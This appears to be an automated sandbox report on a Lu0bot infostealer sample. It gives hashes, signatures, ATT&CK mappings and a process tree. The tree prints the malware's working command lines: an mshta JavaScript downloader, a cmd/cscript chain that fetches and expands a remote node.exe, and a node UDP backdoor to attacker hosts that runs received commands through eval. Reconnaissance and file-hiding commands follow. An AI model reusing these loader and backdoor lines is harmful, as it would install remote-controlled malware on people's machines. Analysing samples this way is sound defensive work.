lu0bot | 22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7

Analysis

max time kernel
148s
max time network
154s
platform
windows10_x64
resource
win10v20210408
submitted
20-07-2021 12:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af8ae6c1f2859cc139cd176a6656a855.exe
Size

2KB
MD5

af8ae6c1f2859cc139cd176a6656a855
SHA1

161e2d577b418eaa94bf1959a634956b75d7922b
SHA256

22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7
SHA512

a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2060	mshta.exe
10	2888	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
412	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
364	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3340	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1004	netstat.exe
1532	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3356	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\52da35faf8ce53d7:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:366f6bc05772afe80aba882f6db64263	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
412	node.exe
412	node.exe
412	node.exe
412	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3340	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3400	wmic.exe
Token: SeSecurityPrivilege	3400	wmic.exe
Token: SeTakeOwnershipPrivilege	3400	wmic.exe
Token: SeLoadDriverPrivilege	3400	wmic.exe
Token: SeSystemProfilePrivilege	3400	wmic.exe
Token: SeSystemtimePrivilege	3400	wmic.exe
Token: SeProfSingleProcessPrivilege	3400	wmic.exe
Token: SeIncBasePriorityPrivilege	3400	wmic.exe
Token: SeCreatePagefilePrivilege	3400	wmic.exe
Token: SeBackupPrivilege	3400	wmic.exe
Token: SeRestorePrivilege	3400	wmic.exe
Token: SeShutdownPrivilege	3400	wmic.exe
Token: SeDebugPrivilege	3400	wmic.exe
Token: SeSystemEnvironmentPrivilege	3400	wmic.exe
Token: SeRemoteShutdownPrivilege	3400	wmic.exe
Token: SeUndockPrivilege	3400	wmic.exe
Token: SeManageVolumePrivilege	3400	wmic.exe
Token: 33	3400	wmic.exe
Token: 34	3400	wmic.exe
Token: 35	3400	wmic.exe
Token: 36	3400	wmic.exe
Token: SeIncreaseQuotaPrivilege	3400	wmic.exe
Token: SeSecurityPrivilege	3400	wmic.exe
Token: SeTakeOwnershipPrivilege	3400	wmic.exe
Token: SeLoadDriverPrivilege	3400	wmic.exe
Token: SeSystemProfilePrivilege	3400	wmic.exe
Token: SeSystemtimePrivilege	3400	wmic.exe
Token: SeProfSingleProcessPrivilege	3400	wmic.exe
Token: SeIncBasePriorityPrivilege	3400	wmic.exe
Token: SeCreatePagefilePrivilege	3400	wmic.exe
Token: SeBackupPrivilege	3400	wmic.exe
Token: SeRestorePrivilege	3400	wmic.exe
Token: SeShutdownPrivilege	3400	wmic.exe
Token: SeDebugPrivilege	3400	wmic.exe
Token: SeSystemEnvironmentPrivilege	3400	wmic.exe
Token: SeRemoteShutdownPrivilege	3400	wmic.exe
Token: SeUndockPrivilege	3400	wmic.exe
Token: SeManageVolumePrivilege	3400	wmic.exe
Token: 33	3400	wmic.exe
Token: 34	3400	wmic.exe
Token: 35	3400	wmic.exe
Token: 36	3400	wmic.exe
Token: SeDebugPrivilege	1004	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 2060	992	af8ae6c1f2859cc139cd176a6656a855.exe	72
PID 992 wrote to memory of 2060	992	af8ae6c1f2859cc139cd176a6656a855.exe	72
PID 992 wrote to memory of 2060	992	af8ae6c1f2859cc139cd176a6656a855.exe	72
PID 2060 wrote to memory of 3676	2060	mshta.exe	76
PID 2060 wrote to memory of 3676	2060	mshta.exe	76
PID 2060 wrote to memory of 3676	2060	mshta.exe	76
PID 3676 wrote to memory of 2888	3676	cmd.exe	78
PID 3676 wrote to memory of 2888	3676	cmd.exe	78
PID 3676 wrote to memory of 2888	3676	cmd.exe	78
PID 3676 wrote to memory of 2836	3676	cmd.exe	79
PID 3676 wrote to memory of 2836	3676	cmd.exe	79
PID 3676 wrote to memory of 2836	3676	cmd.exe	79
PID 3676 wrote to memory of 732	3676	cmd.exe	80
PID 3676 wrote to memory of 732	3676	cmd.exe	80
PID 3676 wrote to memory of 732	3676	cmd.exe	80
PID 732 wrote to memory of 412	732	cscript.exe	81
PID 732 wrote to memory of 412	732	cscript.exe	81
PID 732 wrote to memory of 412	732	cscript.exe	81
PID 412 wrote to memory of 4044	412	node.exe	85
PID 412 wrote to memory of 4044	412	node.exe	85
PID 412 wrote to memory of 4044	412	node.exe	85
PID 412 wrote to memory of 3840	412	node.exe	86
PID 412 wrote to memory of 3840	412	node.exe	86
PID 412 wrote to memory of 3840	412	node.exe	86
PID 412 wrote to memory of 364	412	node.exe	87
PID 412 wrote to memory of 364	412	node.exe	87
PID 412 wrote to memory of 364	412	node.exe	87
PID 412 wrote to memory of 988	412	node.exe	88
PID 412 wrote to memory of 988	412	node.exe	88
PID 412 wrote to memory of 988	412	node.exe	88
PID 412 wrote to memory of 1800	412	node.exe	89
PID 412 wrote to memory of 1800	412	node.exe	89
PID 412 wrote to memory of 1800	412	node.exe	89
PID 412 wrote to memory of 3340	412	node.exe	91
PID 412 wrote to memory of 3340	412	node.exe	91
PID 412 wrote to memory of 3340	412	node.exe	91
PID 412 wrote to memory of 3400	412	node.exe	92
PID 412 wrote to memory of 3400	412	node.exe	92
PID 412 wrote to memory of 3400	412	node.exe	92
PID 412 wrote to memory of 1532	412	node.exe	93
PID 412 wrote to memory of 1532	412	node.exe	93
PID 412 wrote to memory of 1532	412	node.exe	93
PID 412 wrote to memory of 2664	412	node.exe	94
PID 412 wrote to memory of 2664	412	node.exe	94
PID 412 wrote to memory of 2664	412	node.exe	94
PID 412 wrote to memory of 1004	412	node.exe	95
PID 412 wrote to memory of 1004	412	node.exe	95
PID 412 wrote to memory of 1004	412	node.exe	95
PID 412 wrote to memory of 3356	412	node.exe	96
PID 412 wrote to memory of 3356	412	node.exe	96
PID 412 wrote to memory of 3356	412	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
988	attrib.exe
1800	attrib.exe

C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe
"C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782672487.txt & cscript /nologo /e:jscript get1626782672487.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F279c64618%26b%3Dc99312a7" node.cab & expand node.cab node.exe & del get1626782672487.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782672487.txt & cscript /nologo /e:jscript get1626782672487.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2779c64618%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782672487.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782672487.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F279c64618%26b%3Dc99312a7" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2888
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2836
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782672487.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2779c64618%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:732
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2779c64618%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:412
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:4044
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3840
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:364
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:988
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:1800
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3340
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3400
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1532
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2664
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:1004
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3356

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/412-127-0x000000002DC00000-0x000000002DC01000-memory.dmp

Filesize
4KB

Download
memory/412-130-0x0000000004D00000-0x0000000004D01000-memory.dmp

Filesize
4KB

Download
memory/412-129-0x000000000D700000-0x000000000D701000-memory.dmp

Filesize
4KB

Download
memory/412-128-0x000000000D300000-0x000000000D301000-memory.dmp

Filesize
4KB

Download
memory/412-126-0x000000003DE00000-0x000000003DE01000-memory.dmp

Filesize
4KB

Download
memory/412-125-0x000000001E500000-0x000000001E501000-memory.dmp

Filesize
4KB

Download